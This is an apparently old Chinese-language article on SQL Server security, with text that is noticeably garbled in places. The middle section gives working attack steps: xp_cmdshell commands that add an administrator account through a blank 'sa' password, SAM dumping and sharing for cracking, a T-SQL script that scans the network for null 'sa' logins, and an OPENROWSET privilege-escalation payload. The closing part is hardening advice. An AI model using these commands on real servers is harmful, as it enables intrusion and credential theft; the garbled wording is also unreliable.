关于SQL SERVER的一些安全问题


  pps于NT服务器的入侵,有众多种 步骤,如对IIS的 漏洞进行利用,但
  大家不晓得 留神到没有,其实通过与NT服务器 有关联的SQL数据库服务器
  的例子也是很有比例的一种 目的 。Herbless入侵 毁坏的一些站点,如legoland.co.uk站点便是通过SQL服务器
  的入侵而 获得对系统的操纵权而 毁坏的 。所以对SQL服务器的 掩护是必不可
  少的,这里我 整顿了一些 漏洞供大家来参考,见笑,见笑 。

  ----------------------------------------------------------------
  我们先来看看SQL服务程序 支撑的网络 协定库:

  ----------------------------------------------------------------
  | SQL Server Network Protocol Libraries |
  ----------------------------------------------------------------
  |Protocol library| 可能存在的 漏洞 | 是不是加密 |
  ----------------------------------------------------------------
  |Named pipes | -- 使用NT SMB端口(TCP139,UDP137, | 否 |
  |(有名管道) | 138)来进行通讯,这些 可以被通 | |
  | | 的防火墙操纵,但假如内部网络可| |
  | | 随便 拜访的话也是一个不小的缺点| |
  | | --消费者名字,密码和数据没有进行加| |
  | | 传输,任何人 可以通过SNIFFER来 | |
  | | 进行数据 拿获 。 | |
  ----------------------------------------------------------------
  |IP Sockets | --默许状态下开1433口,你 可以 使用| 否 |
  | | 扫描器来查看这个端口 。 | |
  | | 可以被SNIFFER截获数据 。 | |
  ----------------------------------------------------------------
  |Multi-Protocol | --客户端需求 支撑NT RPCs;在不同 | 是 |
  | | 品种的环境中可能引起问题 。 | |
  | | --默许状况下 使用TCP随机端口,但| |
  | | 防火墙进行端口图固定实现(参 | |
  | | 看KB Q164667) 。 | |
  | | --需求 留神加密选项是不是 取舍,默 | |
  | | 是不 取舍此选项的 。 | |
  ----------------------------------------------------------------
  |NWLink | --存在被SNIFFER截获数据的惊险 | 否 |
  ----------------------------------------------------------------
  |AppleTalk (ADSP)| --存在被SNIFFER截获数据的惊险 | 否 |
  ----------------------------------------------------------------
  |Banyan Vines | --存在被SNIFFER截获数据的惊险 | 否 |
  ----------------------------------------------------------------

  普通的推举 使用是:假如你能在Integrated (NT) Security上 使用Named Pipes 或者
  Multi-protocol,那你就 使用这些 协定库,假如可能,尽量 使用Multi-protocol
  和使能加密选项 。假如你上面几个不能 使用,那就 使用IP Sockets 协定,并转变
  其默许的端口并随时 审查系统 保障无任何SNIFFER存在 。而且,考量 使用一WEB服
  务或者COM组件作为 利用程序的business object layer,并在之间层和SQL服务程
  序中 使用安全通道(secure channel) 。有不少第三方的产品 可以加密这方面的通讯 。
  下面再讲一下SQL SERVER的各种安全模式和它们 怎么进行工作?

  安全模式定义了一些SQL SERVER是 怎么认证要 使用它们服务的消费者,请看下面
  SQL Server 6.5的安全模式和在SQL Server 7.0做了转变的一些 形容和区别:

  -------------------------------------------------------------------
  |安全模式 | SQL Server 6.5 | SQL Server 7.0转变地方 |
  -------------------------------------------------------------------
  |Standard | --登陆定义在SQL SERVER里| -- 径自的 标准模式在SQL SERVER|
  | 标准模式 | 而且给定密码 。 | 没有 使用了 。 |
  | | --SQL SERVER的登录帐户与| |
  | | WINDOW NT 离开 | |
  -------------------------------------------------------------------
  |Integrated |- 使用安全治理器SQL的帐 | --在这里成为"Windows NT only"|
  |综合模式 | 户 。 | 模式 。 |
  | |-消费者在衔接到SQL SERVER| --只工作在NT系统下,在WIN9X不|
  | | 不需求特定 离开LOGIN和 | 支撑 。 |
  | | 密码 。 | |
  | |-密码从不存储在 利用程序| -- 可以直接 联合到NT的组中便于 |
  | | 中,并不以明文在网络中| 治理,( 留神有一BUILTIN组在|
  | | 传输 。 | 当地系统上产生). |
  | |-SQL SERVER 可以 使用NT的| |
  | | 的认证 模式来认证消费者并| |
  | | 可以 使用如帐户过期等 。| |
  | |-需求Named Pipe或Multi-| |
  | | Protocol库 。 | |
  --------------------------------------------------------------------
  |Mixed |-提供上面的 模式的一些特| --成为SQL SERVER和WINDOWS NT |
  |混合性 模式 | 征但有后退的东西是客户| 模式 。 |
  | | 端不能 构建可信赖衔接 。| --尽量 使用WINDOW NT ONLY模式 | |
  --------------------------------------------------------------------

  登录只是是第一步,一旦消费者登录,消费者必须 拜访独立的数据库,要使上面
  的成立,就必须在sysusers表里存在一表目给消费者用的每个数据库 。所以安全
  请你 留神在你的数据库中是不是存在"guest"帐户和 保障不会在你不 留神的时候给
  某些人 拜访你的数据库 。

  ---------------------------------------------------------------------

  对于SQL SERVER存在的一些安全问题:

  存在"sa"帐户,密码就为空,而且这个密码是SQL SERVER安全模块成员,我们就
   可以通过xp_cmdshell stored procedure( 扩大存储过程)来进行命
  令操作,如:

  Xp_cmdshell "net user testuser UgotHacked /ADD"
   而后在:
  Xp_cmdshell "net localgroup Administrators testuser /ADD"

  这样 突击者就 顺利的在SQL SERVER上添加了一个消费者 。

  固然远程的话,普通需求有1433口开着,通过MYSQL 客户端进行衔接 。

  固然你也 可以 使用:

  Xp_cmdshell "rdisk /s-"

  的 步骤,这样就在winnt epair目录里重建了信息而不 揭示消费者 。 而后
  在SAM备份以后, 突击者 可以 构建一个SMB衔接到共享或者 构建一个衔接:

  Xp_cmdshell "net share getsam=c:winnt epair"

  利用共享 获得这个文件, 而后在 使用l0phtcrack来跑吧 。假如SMB端口被防火墙
  操纵了,或者关闭了, 突击者也 可以拷贝sam._文件到WEB目录进行匿名阅读器
  下载 。假如人家没有开IIS,你何不用tftp呢:).

  OK,通过这台被操纵的SQL SERVER服务器, 突击者 可以通过它来搜索网络内部
   其余机器来 扩充战果,下面是一个SQL脚 原来列举网络中 其余SQL SERVER存在
  空帐户'sa'的示例:

  -----------------------------------------------------------------------

  -- Create temp table to store enumerated servers

  SET NOCOUNT ON

  CREATE TABLE #temp (shelldump varchar(255))

  INSERT #temp EXEC xp_cmdshell 'osql -L'

  DECLARE @current_server varchar(255), @conn_string varchar(255)

  DECLARE sql_cursor CURSOR FOR SELECT * FROM #temp

  OPEN sql_cursor FETCH NEXT FROM sql_cursor INTO @current_server

  -- Loop through potential targets and check for null sa accounts

  -- If target is vulnerable, version information will be displayed

  WHILE @@FETCH_STATUS = 0

  BEGIN

  If @current_server <> 'Servers:'

  BEGIN

  SELECT @current_server = rtrim(ltrim(@current_server))

  SELECT @conn_string = 'exec xp_cmdshell ''osql -S' + @current_server + ' -Usa -P -Q "select @@version"'''

  PRINT 'Attempting connection to server: ' + @current_server

  EXECUTE (@conn_string)

  PRINT '====================================================================='

  END

  FETCH NEXT FROM sql_cursor INTO @current_server

  END

  --Clean up

  CLOSE sql_cursor

  DEALLOCATE sql_cursor

  DROP TABLE #TEMP

  ----------------------------------------------------------------------

  固然有些人也可能关闭xp_cmdshell extended stored procedure( 扩大存储过程),
  我们也 可以 使用下面的 步骤:

  xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITYSAMDomainsAccount', 'F'

  假如MSSqlserver 服务在当地系统帐户下运行,而且假如系统上没有安装syskey,上面
  的调用就 可以返回注册表中加密的密码或者SID 。
  另一个 漏洞,是对于adhoc heterogenous queries 来进行 权力的 晋升,对于上面的 漏洞, 可以 使用下面的xploit来 获得 权力的 晋升:

  SELECT * FROM OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;Data Source=myserver',
  'SET FMTONLY OFF execute master..xp_cmdshell "dir c:\"')

  这是大家 比较喜爱的一种 可以执行 其余命令,自己想吧 。

  ---------------------------------------------------------------------------

  还有便是近期的一个 漏洞:Extended Stored Procedure Parameter Parsing ( 扩大存储
  过程参数解析)的 漏洞 。起重要问题是在MSD中提供一个API函数srv_paraminfo(),它是用来 扩大存储过程调用时
  解释 深刻参数的,如:

  exec <存储过程名> <参数1>, <参数2>, ...
  如要 查问“c:winnt”的目录树, 可以如下 抒发:
  exec xp_dirtree 'c:winnt'

  但没有 审查各个参数的长度,传递相当长的字符串,就存在了 遮蔽 其余堆栈
  参数的可能招致缓冲溢出 。

  当前已经晓得的过程如下:
  当前已知受影响的 扩大存储过程如下:

  1、xp_peekqueue (xpqueue.dll)
  xp_printstatements (xprepl.dll)

  给第一个参数传递超长的字符串会 遮蔽 异样 解决程序所 保留的返回地址 。

  2、xp_proxiedmetadata (xprepl.dll)

  该存储过程 使用4个参数 。给第二个参数传递超长的字符串会 遮蔽 异样处
  理程序所 保留的返回地址 。

  3、xp_SetSQLSecurity (xpstar.dll)

  该存储过程 使用4个参数 。给第三个参数传递超长的字符串会使整个SQL
  Server 历程马上终止 。

  4、xp_displayparamstmt(xprepl.dll)
  xp_enumresultset(xprepl.dll)
  xp_showcolv (xprepl.dll)
  xp_updatecolvbm (xprepl.dll)

  给第一个参数传递超长的串将招致非法操作并 遮蔽 异样 解决程序所 保留的返
  回地址 。

  这里告诉大家一个技巧性的东西,假如想要晓得这些 扩大存储过程调用了那写dll
  文件,你 可以如下操作,如:

  select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and o.name
  = 'xp_peekqueue'

  这样你就 可以 获得调用这个 扩大存储过程的DLL了,假如微软没有出补丁的话,你就
  临时把这个DLL文件改名吧,固然有些DLL文件调用几个 扩大存储过程,不能盲目更改,
  不然招致 其余的也不能 使用,你需求 使用下面的操作来晓得DLL调用那些 扩大存储过程:

  select o.name,c.text from dbo.syscomments c, dbo.sysobjects o where c.id = o.id and c.text = 'xpqueue.dll'

  --------------------------------------------------------------------------

  OK,固然SQL SERVER也有一些 其余 漏洞, 绝对轻微些,如ISS发现的治理员
  LOGIN ID存储在注册表中,其加密的 步骤 比较 方便,很方便 获得, 详尽状况
  ---------------------------------------------------------------------

  一些对SQL SERVER系统的安全 提议:

  -- 保障打上最新的安全补丁,如下:
  Windows NT 4.0 - Service Pack 6a

  SQL Server 6.5 - Service Pack 5a

  SQL Server 7.0 - Service Pack 2. (Various hotfixes - check
  )

  SQL Server 2000 - Hotfix S80233i.exe (Intel)
  固然大家要紧密 留神微软的安全布告 。

  --不要在IP sockets 使用端口1433,假如你 使用Multi-protocol也请
   批改端口 。

  --不要把'sa'密码嵌入到任意 利用程序如VB/DELPHI apps里,或者一
  global.asa文件里,由于"sa"是SQL Server 的一个默许密码,其权限
   类似与WINDOWS NT系统里的治理员帐户,而且密码为空 。

  --转变'sa'和'probe'帐户的密码 。

  -- 保障SQL SERVER的 舛误记录在NTFS系统上 。

  --假如你不需求xp_cmdshell( use sp_dropextendedproc 'xp_cmdshell' )
  就不要把xp_cmdshell extended stored proc( 扩大存储过程) 留在服务
  器上 。在任何isql窗口中输入:
  use master
  sp_dropextendedproc 'xp_cmdshell'

  -- 放弃不需求OLE自动存储过程,固然Enterprise Manager中的某些 特色也
  会不能 使用,这些过程包含如下:

  Sp_OACreate Sp_OADestroy

  Sp_OAGetErrorInfo Sp_OAGetProperty

  Sp_OAMethod Sp_OASetProperty

  Sp_OAStop

  --去掉不需求的注册表 拜访过程,如下:

  Xp_regaddmultistring

  Xp_regdeletekey

  Xp_regdeletevalue

  Xp_regenumvalues

  Xp_regread

  Xp_regremovemultistring

  Xp_regwrite

  --去掉 其余系统存储过程,假如你认为你感觉你还有 挟制,固然
  要小心Drop这些过程,你 可以在测试机器上测试, 保障你 畸形的
  系统能 实现工作,这些过程包含:

  sp_bindsession sp_cursor sp_cursorclose
  sp_cursorfetch sp_cursoropen sp_cursoroption
  sp_getbindtoken sp_GetMBCSCharLen sp_IsMBCSLeadByte
  sp_OACreate sp_OADestroy sp_OAGetErrorInfo
  sp_OAGetProperty sp_OAMethod sp_OASetProperty
  sp_OAStop sp_replcmds sp_replcounters
  sp_repldone sp_replflush sp_replstatus
  sp_repltrans sp_sdidebug xp_availablemedia
  xp_cmdshell xp_deletemail xp_dirtree
  xp_dropweBTask xp_dsninfo xp_enumdsn
  xp_enumerrorlogs xp_enumgroups xp_enumqueuedtasks
  xp_eventlog xp_findnextmsg xp_fixeddrives
  xp_getfiledetails xp_getnetname xp_grantlogin
  xp_logevent xp_loginconfig xp_logininfo
  xp_makeweBTask xp_msver xp_perfend
  xp_perfmonitor xp_perfsample xp_perfstart
  xp_readerrorlog xp_readmail xp_revokelogin
  xp_runweBTask xp_schedulersignal xp_sendmail
  xp_servicecontrol xp_snmp_getstate xp_snmp_raisetrap
  xp_sprintf xp_sqlinventory xp_sqlregister
  xp_sqltrace xp_sscanf xp_startmail
  xp_stopmail xp_subdirs xp_unc_to_drive

  --去掉数据库中guest消费者 。
  --关闭SQL MAIL兼容 威力, 预防传递一些木马病毒等 。
  --设置一个 使命 解决来定时运行下面的程序:

  findstr /C:"Login Failed" mssql7log*.*'

  再重定向到 其余文件或者MAIL到治理员信箱 。

  -- 时常 审查带有空密码的帐户:

  Use master
  Select name,
  Password
  from syslogins
  where password is null
  order by name

  -- 审查全部不需求'sa'权限的存储过程和 扩大存储过程 拜访权限:

  Use master
  Select sysobjects.name
  From sysobjects, sysprotects
  Where sysprotects.uid = 0
  AND xtype IN ('X','P')
  AND sysobjects.id = sysprotects.id
  Order by name

  -- 保障SQL SERVER的传输信息在隔离的网络段中 。